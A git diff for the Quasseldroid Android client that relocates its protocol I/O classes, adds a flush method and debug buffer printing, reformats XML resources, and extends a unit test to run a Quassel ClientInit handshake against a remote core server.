diff --git a/app/src/main/java/de/kuschku/quasseldroid/protocol/io/CoroutineChannel.kt b/app/src/main/java/de/kuschku/quasseldroid/protocol/io/CoroutineChannel.kt
index 28d09482aff50e213beec4fbfe08901464d9e485..d400951e538f7f433f402f39c9f3bcc16daf7ea0 100644
--- a/app/src/main/java/de/kuschku/quasseldroid/protocol/io/CoroutineChannel.kt
+++ b/app/src/main/java/de/kuschku/quasseldroid/protocol/io/CoroutineChannel.kt
@@ -17,8 +17,10 @@
  * with this program. If not, see <http://www.gnu.org/licenses/>.
  */
 
-package de.kuschku.libquassel.protocol.io
+package de.kuschku.quasseldroid.protocol.io
 
+import de.kuschku.libquassel.protocol.io.ChainedByteBuffer
+import de.kuschku.libquassel.protocol.io.print
 import de.kuschku.quasseldroid.util.TlsInfo
 import kotlinx.coroutines.Dispatchers
 import kotlinx.coroutines.asCoroutineDispatcher
@@ -65,12 +67,17 @@ class CoroutineChannel {
   }
 
   suspend fun write(buffer: ByteBuffer): Int = runInterruptible(writeContext) {
+    buffer.print()
     this.channel.write(buffer)
   }
 
-  suspend fun write(chainedBuffer: de.kuschku.libquassel.protocol.io.ChainedByteBuffer) {
+  suspend fun write(chainedBuffer: ChainedByteBuffer) {
     for (buffer in chainedBuffer.buffers()) {
       write(buffer)
     }
   }
+
+  suspend fun flush() = runInterruptible(writeContext) {
+    this.channel.flush()
+  }
 }
diff --git a/app/src/main/java/de/kuschku/quasseldroid/protocol/io/FixedDeflaterOutputStream.kt b/app/src/main/java/de/kuschku/quasseldroid/protocol/io/FixedDeflaterOutputStream.kt
index 1e86f228408aca6b315bb1bb9fefccaa7ecb52e8..abdad9f25eddc40e639b1e0d094cf674f544cf4f 100644
--- a/app/src/main/java/de/kuschku/quasseldroid/protocol/io/FixedDeflaterOutputStream.kt
+++ b/app/src/main/java/de/kuschku/quasseldroid/protocol/io/FixedDeflaterOutputStream.kt
@@ -17,7 +17,7 @@
  * with this program. If not, see <http://www.gnu.org/licenses/>.
  */
 
-package de.kuschku.libquassel.protocol.io
+package de.kuschku.quasseldroid.protocol.io
 
 import java.io.OutputStream
 import java.util.zip.DeflaterOutputStream
diff --git a/app/src/main/java/de/kuschku/quasseldroid/protocol/io/ReadableWrappedChannel.kt b/app/src/main/java/de/kuschku/quasseldroid/protocol/io/ReadableWrappedChannel.kt
index 36377b1134846e62abf20ec16a802410d7df9fb9..7f8de746680e751bf6c3d0e2781d704e330fda7d 100644
--- a/app/src/main/java/de/kuschku/quasseldroid/protocol/io/ReadableWrappedChannel.kt
+++ b/app/src/main/java/de/kuschku/quasseldroid/protocol/io/ReadableWrappedChannel.kt
@@ -17,7 +17,7 @@
  * with this program. If not, see <http://www.gnu.org/licenses/>.
  */
 
-package de.kuschku.libquassel.protocol.io
+package de.kuschku.quasseldroid.protocol.io
 
 import android.util.Log
 import java.io.InputStream
@@ -43,7 +43,7 @@ class ReadableWrappedChannel(
       // Only read as long as we have content to read, and until we’ve blocked at most once
       while (remainingData > 0 && !(hasRead && backingStream.available() == 0)) {
         // Data to be read, always the minimum of available data and the page size
-        val toReadOnce = Math.min(remainingData, PAGE_SIZE)
+        val toReadOnce = remainingData.coerceAtMost(PAGE_SIZE)
         var readData = 0
 
         try {
diff --git a/app/src/main/java/de/kuschku/quasseldroid/protocol/io/StreamChannel.kt b/app/src/main/java/de/kuschku/quasseldroid/protocol/io/StreamChannel.kt
index eaec977eb441427f8e16803a53140135860750f0..28d2697ea1cd7ceca71eebc54f9fda25e72afb5e 100644
--- a/app/src/main/java/de/kuschku/quasseldroid/protocol/io/StreamChannel.kt
+++ b/app/src/main/java/de/kuschku/quasseldroid/protocol/io/StreamChannel.kt
@@ -17,7 +17,7 @@
  * with this program. If not, see <http://www.gnu.org/licenses/>.
  */
 
-package de.kuschku.libquassel.protocol.io
+package de.kuschku.quasseldroid.protocol.io
 
 import de.kuschku.quasseldroid.util.TlsInfo
 import java.io.Flushable
diff --git a/app/src/main/java/de/kuschku/quasseldroid/protocol/io/WritableWrappedChannel.kt b/app/src/main/java/de/kuschku/quasseldroid/protocol/io/WritableWrappedChannel.kt
index abd9ecc5bd8d62327bc25190f3a41765a03ef29d..ce25556b3981a2ff3434de7032c9e0d484ea8c39 100644
--- a/app/src/main/java/de/kuschku/quasseldroid/protocol/io/WritableWrappedChannel.kt
+++ b/app/src/main/java/de/kuschku/quasseldroid/protocol/io/WritableWrappedChannel.kt
@@ -17,7 +17,7 @@
  * with this program. If not, see <http://www.gnu.org/licenses/>.
  */
 
-package de.kuschku.libquassel.protocol.io
+package de.kuschku.quasseldroid.protocol.io
 
 import java.io.OutputStream
 import java.nio.ByteBuffer
@@ -37,7 +37,7 @@ class WritableWrappedChannel(
     synchronized(lock) {
       while (remainingData > 0) {
         // Data to be written, always the minimum of available data and the page size
-        val writtenData = Math.min(remainingData, PAGE_SIZE)
+        val writtenData = remainingData.coerceAtMost(PAGE_SIZE)
 
         // Set new bufferId info
         buffer.clear()
diff --git a/app/src/main/res/drawable-v24/ic_launcher_foreground.xml b/app/src/main/res/drawable-v24/ic_launcher_foreground.xml
index 2b068d11462a4b96669193de13a711a3a36220a0..62d2a2d26c58695b7b6cb6b4e0d0285e16ab1147 100644
--- a/app/src/main/res/drawable-v24/ic_launcher_foreground.xml
+++ b/app/src/main/res/drawable-v24/ic_launcher_foreground.xml
@@ -1,30 +1,30 @@
 <vector xmlns:android="http://schemas.android.com/apk/res/android"
-    xmlns:aapt="http://schemas.android.com/aapt"
-    android:width="108dp"
-    android:height="108dp"
-    android:viewportWidth="108"
-    android:viewportHeight="108">
-    <path android:pathData="M31,63.928c0,0 6.4,-11 12.1,-13.1c7.2,-2.6 26,-1.4 26,-1.4l38.1,38.1L107,108.928l-32,-1L31,63.928z">
-        <aapt:attr name="android:fillColor">
-            <gradient
-                android:endX="85.84757"
-                android:endY="92.4963"
-                android:startX="42.9492"
-                android:startY="49.59793"
-                android:type="linear">
-                <item
-                    android:color="#44000000"
-                    android:offset="0.0" />
-                <item
-                    android:color="#00000000"
-                    android:offset="1.0" />
-            </gradient>
-        </aapt:attr>
-    </path>
-    <path
-        android:fillColor="#FFFFFF"
-        android:fillType="nonZero"
-        android:pathData="M65.3,45.828l3.8,-6.6c0.2,-0.4 0.1,-0.9 -0.3,-1.1c-0.4,-0.2 -0.9,-0.1 -1.1,0.3l-3.9,6.7c-6.3,-2.8 -13.4,-2.8 -19.7,0l-3.9,-6.7c-0.2,-0.4 -0.7,-0.5 -1.1,-0.3C38.8,38.328 38.7,38.828 38.9,39.228l3.8,6.6C36.2,49.428 31.7,56.028 31,63.928h46C76.3,56.028 71.8,49.428 65.3,45.828zM43.4,57.328c-0.8,0 -1.5,-0.5 -1.8,-1.2c-0.3,-0.7 -0.1,-1.5 0.4,-2.1c0.5,-0.5 1.4,-0.7 2.1,-0.4c0.7,0.3 1.2,1 1.2,1.8C45.3,56.528 44.5,57.328 43.4,57.328L43.4,57.328zM64.6,57.328c-0.8,0 -1.5,-0.5 -1.8,-1.2s-0.1,-1.5 0.4,-2.1c0.5,-0.5 1.4,-0.7 2.1,-0.4c0.7,0.3 1.2,1 1.2,1.8C66.5,56.528 65.6,57.328 64.6,57.328L64.6,57.328z"
-        android:strokeWidth="1"
-        android:strokeColor="#00000000" />
-</vector>
\ No newline at end of file
+  xmlns:aapt="http://schemas.android.com/aapt"
+  android:width="108dp"
+  android:height="108dp"
+  android:viewportWidth="108"
+  android:viewportHeight="108">
+  <path android:pathData="M31,63.928c0,0 6.4,-11 12.1,-13.1c7.2,-2.6 26,-1.4 26,-1.4l38.1,38.1L107,108.928l-32,-1L31,63.928z">
+    <aapt:attr name="android:fillColor">
+      <gradient
+        android:endX="85.84757"
+        android:endY="92.4963"
+        android:startX="42.9492"
+        android:startY="49.59793"
+        android:type="linear">
+        <item
+          android:color="#44000000"
+          android:offset="0.0" />
+        <item
+          android:color="#00000000"
+          android:offset="1.0" />
+      </gradient>
+    </aapt:attr>
+  </path>
+  <path
+    android:fillColor="#FFFFFF"
+    android:fillType="nonZero"
+    android:pathData="M65.3,45.828l3.8,-6.6c0.2,-0.4 0.1,-0.9 -0.3,-1.1c-0.4,-0.2 -0.9,-0.1 -1.1,0.3l-3.9,6.7c-6.3,-2.8 -13.4,-2.8 -19.7,0l-3.9,-6.7c-0.2,-0.4 -0.7,-0.5 -1.1,-0.3C38.8,38.328 38.7,38.828 38.9,39.228l3.8,6.6C36.2,49.428 31.7,56.028 31,63.928h46C76.3,56.028 71.8,49.428 65.3,45.828zM43.4,57.328c-0.8,0 -1.5,-0.5 -1.8,-1.2c-0.3,-0.7 -0.1,-1.5 0.4,-2.1c0.5,-0.5 1.4,-0.7 2.1,-0.4c0.7,0.3 1.2,1 1.2,1.8C45.3,56.528 44.5,57.328 43.4,57.328L43.4,57.328zM64.6,57.328c-0.8,0 -1.5,-0.5 -1.8,-1.2s-0.1,-1.5 0.4,-2.1c0.5,-0.5 1.4,-0.7 2.1,-0.4c0.7,0.3 1.2,1 1.2,1.8C66.5,56.528 65.6,57.328 64.6,57.328L64.6,57.328z"
+    android:strokeWidth="1"
+    android:strokeColor="#00000000" />
+</vector>
diff --git a/app/src/main/res/drawable/ic_launcher_background.xml b/app/src/main/res/drawable/ic_launcher_background.xml
index 07d5da9cbf141911847041df5d7b87f0dd5ef9d4..140f8294680e4955599e9a5a7ceb576d6b6d8468 100644
--- a/app/src/main/res/drawable/ic_launcher_background.xml
+++ b/app/src/main/res/drawable/ic_launcher_background.xml
@@ -1,170 +1,170 @@
 <?xml version="1.0" encoding="utf-8"?>
 <vector xmlns:android="http://schemas.android.com/apk/res/android"
-    android:width="108dp"
-    android:height="108dp"
-    android:viewportWidth="108"
-    android:viewportHeight="108">
-    <path
-        android:fillColor="#3DDC84"
-        android:pathData="M0,0h108v108h-108z" />
-    <path
-        android:fillColor="#00000000"
-        android:pathData="M9,0L9,108"
-        android:strokeWidth="0.8"
-        android:strokeColor="#33FFFFFF" />
-    <path
-        android:fillColor="#00000000"
-        android:pathData="M19,0L19,108"
-        android:strokeWidth="0.8"
-        android:strokeColor="#33FFFFFF" />
-    <path
-        android:fillColor="#00000000"
-        android:pathData="M29,0L29,108"
-        android:strokeWidth="0.8"
-        android:strokeColor="#33FFFFFF" />
-    <path
-        android:fillColor="#00000000"
-        android:pathData="M39,0L39,108"
-        android:strokeWidth="0.8"
-        android:strokeColor="#33FFFFFF" />
-    <path
-        android:fillColor="#00000000"
-        android:pathData="M49,0L49,108"
-        android:strokeWidth="0.8"
-        android:strokeColor="#33FFFFFF" />
-    <path
-        android:fillColor="#00000000"
-        android:pathData="M59,0L59,108"
-        android:strokeWidth="0.8"
-        android:strokeColor="#33FFFFFF" />
-    <path
-        android:fillColor="#00000000"
-        android:pathData="M69,0L69,108"
-        android:strokeWidth="0.8"
-        android:strokeColor="#33FFFFFF" />
-    <path
-        android:fillColor="#00000000"
-        android:pathData="M79,0L79,108"
-        android:strokeWidth="0.8"
-        android:strokeColor="#33FFFFFF" />
-    <path
-        android:fillColor="#00000000"
-        android:pathData="M89,0L89,108"
-        android:strokeWidth="0.8"
-        android:strokeColor="#33FFFFFF" />
-    <path
-        android:fillColor="#00000000"
-        android:pathData="M99,0L99,108"
-        android:strokeWidth="0.8"
-        android:strokeColor="#33FFFFFF" />
-    <path
-        android:fillColor="#00000000"
-        android:pathData="M0,9L108,9"
-        android:strokeWidth="0.8"
-        android:strokeColor="#33FFFFFF" />
-    <path
-        android:fillColor="#00000000"
-        android:pathData="M0,19L108,19"
-        android:strokeWidth="0.8"
-        android:strokeColor="#33FFFFFF" />
-    <path
-        android:fillColor="#00000000"
-        android:pathData="M0,29L108,29"
-        android:strokeWidth="0.8"
-        android:strokeColor="#33FFFFFF" />
-    <path
-        android:fillColor="#00000000"
-        android:pathData="M0,39L108,39"
-        android:strokeWidth="0.8"
-        android:strokeColor="#33FFFFFF" />
-    <path
-        android:fillColor="#00000000"
-        android:pathData="M0,49L108,49"
-        android:strokeWidth="0.8"
-        android:strokeColor="#33FFFFFF" />
-    <path
-        android:fillColor="#00000000"
-        android:pathData="M0,59L108,59"
-        android:strokeWidth="0.8"
-        android:strokeColor="#33FFFFFF" />
-    <path
-        android:fillColor="#00000000"
-        android:pathData="M0,69L108,69"
-        android:strokeWidth="0.8"
-        android:strokeColor="#33FFFFFF" />
-    <path
-        android:fillColor="#00000000"
-        android:pathData="M0,79L108,79"
-        android:strokeWidth="0.8"
-        android:strokeColor="#33FFFFFF" />
-    <path
-        android:fillColor="#00000000"
-        android:pathData="M0,89L108,89"
-        android:strokeWidth="0.8"
-        android:strokeColor="#33FFFFFF" />
-    <path
-        android:fillColor="#00000000"
-        android:pathData="M0,99L108,99"
-        android:strokeWidth="0.8"
-        android:strokeColor="#33FFFFFF" />
-    <path
-        android:fillColor="#00000000"
-        android:pathData="M19,29L89,29"
-        android:strokeWidth="0.8"
-        android:strokeColor="#33FFFFFF" />
-    <path
-        android:fillColor="#00000000"
-        android:pathData="M19,39L89,39"
-        android:strokeWidth="0.8"
-        android:strokeColor="#33FFFFFF" />
-    <path
-        android:fillColor="#00000000"
-        android:pathData="M19,49L89,49"
-        android:strokeWidth="0.8"
-        android:strokeColor="#33FFFFFF" />
-    <path
-        android:fillColor="#00000000"
-        android:pathData="M19,59L89,59"
-        android:strokeWidth="0.8"
-        android:strokeColor="#33FFFFFF" />
-    <path
-        android:fillColor="#00000000"
-        android:pathData="M19,69L89,69"
-        android:strokeWidth="0.8"
-        android:strokeColor="#33FFFFFF" />
-    <path
-        android:fillColor="#00000000"
-        android:pathData="M19,79L89,79"
-        android:strokeWidth="0.8"
-        android:strokeColor="#33FFFFFF" />
-    <path
-        android:fillColor="#00000000"
-        android:pathData="M29,19L29,89"
-        android:strokeWidth="0.8"
-        android:strokeColor="#33FFFFFF" />
-    <path
-        android:fillColor="#00000000"
-        android:pathData="M39,19L39,89"
-        android:strokeWidth="0.8"
-        android:strokeColor="#33FFFFFF" />
-    <path
-        android:fillColor="#00000000"
-        android:pathData="M49,19L49,89"
-        android:strokeWidth="0.8"
-        android:strokeColor="#33FFFFFF" />
-    <path
-        android:fillColor="#00000000"
-        android:pathData="M59,19L59,89"
-        android:strokeWidth="0.8"
-        android:strokeColor="#33FFFFFF" />
-    <path
-        android:fillColor="#00000000"
-        android:pathData="M69,19L69,89"
-        android:strokeWidth="0.8"
-        android:strokeColor="#33FFFFFF" />
-    <path
-        android:fillColor="#00000000"
-        android:pathData="M79,19L79,89"
-        android:strokeWidth="0.8"
-        android:strokeColor="#33FFFFFF" />
+  android:width="108dp"
+  android:height="108dp"
+  android:viewportWidth="108"
+  android:viewportHeight="108">
+  <path
+    android:fillColor="#3DDC84"
+    android:pathData="M0,0h108v108h-108z" />
+  <path
+    android:fillColor="#00000000"
+    android:pathData="M9,0L9,108"
+    android:strokeWidth="0.8"
+    android:strokeColor="#33FFFFFF" />
+  <path
+    android:fillColor="#00000000"
+    android:pathData="M19,0L19,108"
+    android:strokeWidth="0.8"
+    android:strokeColor="#33FFFFFF" />
+  <path
+    android:fillColor="#00000000"
+    android:pathData="M29,0L29,108"
+    android:strokeWidth="0.8"
+    android:strokeColor="#33FFFFFF" />
+  <path
+    android:fillColor="#00000000"
+    android:pathData="M39,0L39,108"
+    android:strokeWidth="0.8"
+    android:strokeColor="#33FFFFFF" />
+  <path
+    android:fillColor="#00000000"
+    android:pathData="M49,0L49,108"
+    android:strokeWidth="0.8"
+    android:strokeColor="#33FFFFFF" />
+  <path
+    android:fillColor="#00000000"
+    android:pathData="M59,0L59,108"
+    android:strokeWidth="0.8"
+    android:strokeColor="#33FFFFFF" />
+  <path
+    android:fillColor="#00000000"
+    android:pathData="M69,0L69,108"
+    android:strokeWidth="0.8"
+    android:strokeColor="#33FFFFFF" />
+  <path
+    android:fillColor="#00000000"
+    android:pathData="M79,0L79,108"
+    android:strokeWidth="0.8"
+    android:strokeColor="#33FFFFFF" />
+  <path
+    android:fillColor="#00000000"
+    android:pathData="M89,0L89,108"
+    android:strokeWidth="0.8"
+    android:strokeColor="#33FFFFFF" />
+  <path
+    android:fillColor="#00000000"
+    android:pathData="M99,0L99,108"
+    android:strokeWidth="0.8"
+    android:strokeColor="#33FFFFFF" />
+  <path
+    android:fillColor="#00000000"
+    android:pathData="M0,9L108,9"
+    android:strokeWidth="0.8"
+    android:strokeColor="#33FFFFFF" />
+  <path
+    android:fillColor="#00000000"
+    android:pathData="M0,19L108,19"
+    android:strokeWidth="0.8"
+    android:strokeColor="#33FFFFFF" />
+  <path
+    android:fillColor="#00000000"
+    android:pathData="M0,29L108,29"
+    android:strokeWidth="0.8"
+    android:strokeColor="#33FFFFFF" />
+  <path
+    android:fillColor="#00000000"
+    android:pathData="M0,39L108,39"
+    android:strokeWidth="0.8"
+    android:strokeColor="#33FFFFFF" />
+  <path
+    android:fillColor="#00000000"
+    android:pathData="M0,49L108,49"
+    android:strokeWidth="0.8"
+    android:strokeColor="#33FFFFFF" />
+  <path
+    android:fillColor="#00000000"
+    android:pathData="M0,59L108,59"
+    android:strokeWidth="0.8"
+    android:strokeColor="#33FFFFFF" />
+  <path
+    android:fillColor="#00000000"
+    android:pathData="M0,69L108,69"
+    android:strokeWidth="0.8"
+    android:strokeColor="#33FFFFFF" />
+  <path
+    android:fillColor="#00000000"
+    android:pathData="M0,79L108,79"
+    android:strokeWidth="0.8"
+    android:strokeColor="#33FFFFFF" />
+  <path
+    android:fillColor="#00000000"
+    android:pathData="M0,89L108,89"
+    android:strokeWidth="0.8"
+    android:strokeColor="#33FFFFFF" />
+  <path
+    android:fillColor="#00000000"
+    android:pathData="M0,99L108,99"
+    android:strokeWidth="0.8"
+    android:strokeColor="#33FFFFFF" />
+  <path
+    android:fillColor="#00000000"
+    android:pathData="M19,29L89,29"
+    android:strokeWidth="0.8"
+    android:strokeColor="#33FFFFFF" />
+  <path
+    android:fillColor="#00000000"
+    android:pathData="M19,39L89,39"
+    android:strokeWidth="0.8"
+    android:strokeColor="#33FFFFFF" />
+  <path
+    android:fillColor="#00000000"
+    android:pathData="M19,49L89,49"
+    android:strokeWidth="0.8"
+    android:strokeColor="#33FFFFFF" />
+  <path
+    android:fillColor="#00000000"
+    android:pathData="M19,59L89,59"
+    android:strokeWidth="0.8"
+    android:strokeColor="#33FFFFFF" />
+  <path
+    android:fillColor="#00000000"
+    android:pathData="M19,69L89,69"
+    android:strokeWidth="0.8"
+    android:strokeColor="#33FFFFFF" />
+  <path
+    android:fillColor="#00000000"
+    android:pathData="M19,79L89,79"
+    android:strokeWidth="0.8"
+    android:strokeColor="#33FFFFFF" />
+  <path
+    android:fillColor="#00000000"
+    android:pathData="M29,19L29,89"
+    android:strokeWidth="0.8"
+    android:strokeColor="#33FFFFFF" />
+  <path
+    android:fillColor="#00000000"
+    android:pathData="M39,19L39,89"
+    android:strokeWidth="0.8"
+    android:strokeColor="#33FFFFFF" />
+  <path
+    android:fillColor="#00000000"
+    android:pathData="M49,19L49,89"
+    android:strokeWidth="0.8"
+    android:strokeColor="#33FFFFFF" />
+  <path
+    android:fillColor="#00000000"
+    android:pathData="M59,19L59,89"
+    android:strokeWidth="0.8"
+    android:strokeColor="#33FFFFFF" />
+  <path
+    android:fillColor="#00000000"
+    android:pathData="M69,19L69,89"
+    android:strokeWidth="0.8"
+    android:strokeColor="#33FFFFFF" />
+  <path
+    android:fillColor="#00000000"
+    android:pathData="M79,19L79,89"
+    android:strokeWidth="0.8"
+    android:strokeColor="#33FFFFFF" />
 </vector>
diff --git a/app/src/main/res/values/colors.xml b/app/src/main/res/values/colors.xml
index f8c6127d327620c93d2b2d00342a68e97b98a48d..758655a2e8832810ac62c86c12e924fb02c665c8 100644
--- a/app/src/main/res/values/colors.xml
+++ b/app/src/main/res/values/colors.xml
@@ -1,10 +1,10 @@
 <?xml version="1.0" encoding="utf-8"?>
 <resources>
-    <color name="purple_200">#FFBB86FC</color>
-    <color name="purple_500">#FF6200EE</color>
-    <color name="purple_700">#FF3700B3</color>
-    <color name="teal_200">#FF03DAC5</color>
-    <color name="teal_700">#FF018786</color>
-    <color name="black">#FF000000</color>
-    <color name="white">#FFFFFFFF</color>
-</resources>
\ No newline at end of file
+  <color name="purple_200">#FFBB86FC</color>
+  <color name="purple_500">#FF6200EE</color>
+  <color name="purple_700">#FF3700B3</color>
+  <color name="teal_200">#FF03DAC5</color>
+  <color name="teal_700">#FF018786</color>
+  <color name="black">#FF000000</color>
+  <color name="white">#FFFFFFFF</color>
+</resources>
diff --git a/app/src/main/res/values/strings.xml b/app/src/main/res/values/strings.xml
index 26c8176cf4bc43f6a84b40fc0fc32e72a0bd67bf..99343ac8f8f8dea59670dd411a99f370adf20f35 100644
--- a/app/src/main/res/values/strings.xml
+++ b/app/src/main/res/values/strings.xml
@@ -1,3 +1,3 @@
 <resources>
-    <string name="app_name">Quasseldroid</string>
-</resources>
\ No newline at end of file
+  <string name="app_name">Quasseldroid</string>
+</resources>
diff --git a/app/src/main/res/values/themes.xml b/app/src/main/res/values/themes.xml
index 80cb390147002bad3cc4125663a04d0c301d1490..51fe81c59b581cbfaea87b1981473fafa5ee910d 100644
--- a/app/src/main/res/values/themes.xml
+++ b/app/src/main/res/values/themes.xml
@@ -1,25 +1,25 @@
 <resources xmlns:tools="http://schemas.android.com/tools">
-    <!-- Base application theme. -->
-    <style name="Theme.Quasseldroid" parent="Theme.MaterialComponents.DayNight.DarkActionBar">
-        <!-- Primary brand color. -->
-        <item name="colorPrimary">@color/purple_500</item>
-        <item name="colorPrimaryVariant">@color/purple_700</item>
-        <item name="colorOnPrimary">@color/white</item>
-        <!-- Secondary brand color. -->
-        <item name="colorSecondary">@color/teal_200</item>
-        <item name="colorSecondaryVariant">@color/teal_700</item>
-        <item name="colorOnSecondary">@color/black</item>
-        <!-- Status bar color. -->
-        <item name="android:statusBarColor" tools:targetApi="l">?attr/colorPrimaryVariant</item>
-        <!-- Customize your theme here. -->
-    </style>
+  <!-- Base application theme. -->
+  <style name="Theme.Quasseldroid" parent="Theme.MaterialComponents.DayNight.DarkActionBar">
+    <!-- Primary brand color. -->
+    <item name="colorPrimary">@color/purple_500</item>
+    <item name="colorPrimaryVariant">@color/purple_700</item>
+    <item name="colorOnPrimary">@color/white</item>
+    <!-- Secondary brand color. -->
+    <item name="colorSecondary">@color/teal_200</item>
+    <item name="colorSecondaryVariant">@color/teal_700</item>
+    <item name="colorOnSecondary">@color/black</item>
+    <!-- Status bar color. -->
+    <item name="android:statusBarColor" tools:targetApi="l">?attr/colorPrimaryVariant</item>
+    <!-- Customize your theme here. -->
+  </style>
 
-    <style name="Theme.Quasseldroid.NoActionBar">
-        <item name="windowActionBar">false</item>
-        <item name="windowNoTitle">true</item>
-    </style>
+  <style name="Theme.Quasseldroid.NoActionBar">
+    <item name="windowActionBar">false</item>
+    <item name="windowNoTitle">true</item>
+  </style>
 
-    <style name="Theme.Quasseldroid.AppBarOverlay" parent="ThemeOverlay.AppCompat.Dark.ActionBar" />
+  <style name="Theme.Quasseldroid.AppBarOverlay" parent="ThemeOverlay.AppCompat.Dark.ActionBar" />
 
-    <style name="Theme.Quasseldroid.PopupOverlay" parent="ThemeOverlay.AppCompat.Light" />
-</resources>
\ No newline at end of file
+  <style name="Theme.Quasseldroid.PopupOverlay" parent="ThemeOverlay.AppCompat.Light" />
+</resources>
diff --git a/app/src/main/res/xml/backup_descriptor.xml b/app/src/main/res/xml/backup_descriptor.xml
index 6fd6103a4d93e4ef450dabdafd296f1cab15dac7..6767bee654cf4978c823d1bcba05c8f5320b64fc 100644
--- a/app/src/main/res/xml/backup_descriptor.xml
+++ b/app/src/main/res/xml/backup_descriptor.xml
@@ -1,4 +1,4 @@
 <?xml version="1.0" encoding="utf-8"?>
 <full-backup-content>
-    <!-- Exclude specific shared preferences that contain GCM registration Id -->
+  <!-- Exclude specific shared preferences that contain GCM registration Id -->
 </full-backup-content>
diff --git a/app/src/test/java/de/kuschku/quasseldroid/ExampleUnitTest.kt b/app/src/test/java/de/kuschku/quasseldroid/ExampleUnitTest.kt
index d3fe73cb4a1ad26af687a6b92fe263562a7bcfd3..9663335fd549d713d5a5446fa04731b22f6091bf 100644
--- a/app/src/test/java/de/kuschku/quasseldroid/ExampleUnitTest.kt
+++ b/app/src/test/java/de/kuschku/quasseldroid/ExampleUnitTest.kt
@@ -1,10 +1,19 @@
 package de.kuschku.quasseldroid
 
+import de.kuschku.bitflags.flags
+import de.kuschku.libquassel.protocol.connection.ProtocolInfoSerializer
+import de.kuschku.libquassel.protocol.features.FeatureSet
 import de.kuschku.libquassel.protocol.io.ChainedByteBuffer
+import de.kuschku.libquassel.protocol.io.print
+import de.kuschku.libquassel.protocol.messages.handshake.ClientInit
+import de.kuschku.libquassel.protocol.serializers.handshake.ClientInitAckSerializer
+import de.kuschku.libquassel.protocol.serializers.handshake.ClientInitRejectSerializer
+import de.kuschku.libquassel.protocol.serializers.handshake.ClientInitSerializer
+import de.kuschku.libquassel.protocol.serializers.handshake.HandshakeMapSerializer
 import de.kuschku.libquassel.protocol.serializers.primitive.IntSerializer
-import de.kuschku.libquassel.protocol.serializers.primitive.ProtocolInfoSerializer
 import de.kuschku.libquassel.protocol.serializers.primitive.UIntSerializer
-import de.kuschku.libquassel.protocol.io.CoroutineChannel
+import de.kuschku.libquassel.protocol.variant.into
+import de.kuschku.quasseldroid.protocol.io.CoroutineChannel
 import kotlinx.coroutines.runBlocking
 import org.junit.Assert.assertEquals
 import org.junit.Test
@@ -14,16 +23,7 @@ import java.security.cert.X509Certificate
 import javax.net.ssl.SSLContext
 import javax.net.ssl.X509TrustManager
 
-/**
- * Example local unit test, which will execute on the development machine (host).
- *
- * See [testing documentation](http://d.android.com/tools/testing).
- */
 class ExampleUnitTest {
-  @Test
-  fun addition_isCorrect() {
-    assertEquals(4, 2 + 2)
-  }
 
   @Test
   fun testNetworking() {
@@ -44,22 +44,81 @@ class ExampleUnitTest {
     }), null)
 
     runBlocking {
+      val connectionFeatureSet = FeatureSet.build()
       val sizeBuffer = ByteBuffer.allocateDirect(4)
-      val sendBuffer = de.kuschku.libquassel.protocol.io.ChainedByteBuffer(direct = true)
+      val sendBuffer = ChainedByteBuffer(direct = true)
       val channel = CoroutineChannel()
       channel.connect(InetSocketAddress("kuschku.de", 4242))
-      val readBuffer = ByteBuffer.allocateDirect(4)
-      UIntSerializer.serialize(sendBuffer, 0x42b3_3f00u or 0x03u)
-      IntSerializer.serialize(sendBuffer, 2)
-      UIntSerializer.serialize(sendBuffer, 0x8000_0000u)
-      channel.write(sendBuffer)
-      channel.read(readBuffer)
-      readBuffer.flip()
-      println(ProtocolInfoSerializer.deserialize(readBuffer))
-      println(channel.tlsInfo.value)
-      channel.enableTLS(context)
-      println(channel.tlsInfo.value)
-      channel.enableCompression()
+
+      suspend fun readAmount(amount: Int? = null): Int {
+        if (amount != null) return amount
+
+        sizeBuffer.clear()
+        channel.read(sizeBuffer)
+        sizeBuffer.flip()
+        val size = IntSerializer.deserialize(sizeBuffer, connectionFeatureSet)
+        sizeBuffer.clear()
+        return size
+      }
+
+      suspend fun write(sizePrefix: Boolean = true, f: suspend (ChainedByteBuffer) -> Unit) {
+        f(sendBuffer)
+        if (sizePrefix) {
+          sizeBuffer.clear()
+          sizeBuffer.putInt(sendBuffer.size)
+          sizeBuffer.flip()
+          channel.write(sizeBuffer)
+          sizeBuffer.clear()
+        }
+        channel.write(sendBuffer)
+        channel.flush()
+        sendBuffer.clear()
+      }
+
+      suspend fun <T> read(amount: Int? = null, f: suspend (ByteBuffer) -> T): T {
+        val amount1 = readAmount(amount)
+        val messageBuffer = ByteBuffer.allocateDirect(minOf(amount1, 65 * 1024 * 1024))
+        channel.read(messageBuffer)
+        messageBuffer.flip()
+        return f(messageBuffer)
+      }
+
+      println("Writing protocol")
+      write(sizePrefix = false) {
+        UIntSerializer.serialize(it, 0x42b3_3f00u or 0x03u, connectionFeatureSet)
+        IntSerializer.serialize(it, 2, connectionFeatureSet)
+        UIntSerializer.serialize(it, 0x8000_0000u, connectionFeatureSet)
+      }
+
+      println("Reading protocol")
+      read(4) {
+        println(ProtocolInfoSerializer.deserialize(it, connectionFeatureSet))
+        println(channel.tlsInfo.value)
+        channel.enableTLS(context)
+        println(channel.tlsInfo.value)
+        channel.enableCompression()
+      }
+      println("Writing clientInit")
+      write {
+        HandshakeMapSerializer.serialize(
+          it,
+          ClientInitSerializer.serialize(ClientInit(
+            clientVersion = "Quasseldroid test",
+            buildDate = "Never",
+            clientFeatures = flags(),
+            featureList = emptyList()
+          )),
+          connectionFeatureSet
+        )
+      }
+      read {
+        val data = HandshakeMapSerializer.deserialize(it, connectionFeatureSet)
+        println(data)
+        when (data["MsgType"].into<String>()) {
+          "ClientInitAck" -> println(ClientInitAckSerializer.deserialize(data))
+          "ClientInitReject" -> println(ClientInitRejectSerializer.deserialize(data))
+        }
+      }
     }
   }
 }
diff --git a/bitflags/src/main/java/de/kuschku/bitflags/Flags.kt b/bitflags/src/main/java/de/kuschku/bitflags/Flags.kt
index 23fa4e46bd79597996dee4a4ce46d073e7db0b1d..a06610add197c1d79bcf412db7943d3317e2cf40 100644
--- a/bitflags/src/main/java/de/kuschku/bitflags/Flags.kt
+++ b/bitflags/src/main/java/de/kuschku/bitflags/Flags.kt
@@ -23,3 +23,6 @@ interface Flags<T, U : Flag<T>> {
   operator fun get(value: T): U?
   fun all(): Collection<U>
 }
+
+inline fun <reified T> flags(vararg values: T) where T : Flag<*>, T : Enum<T> = setOf(*values)
+inline fun <reified T> flags(values: Collection<T>) where T : Flag<*>, T : Enum<T> = values.toSet()
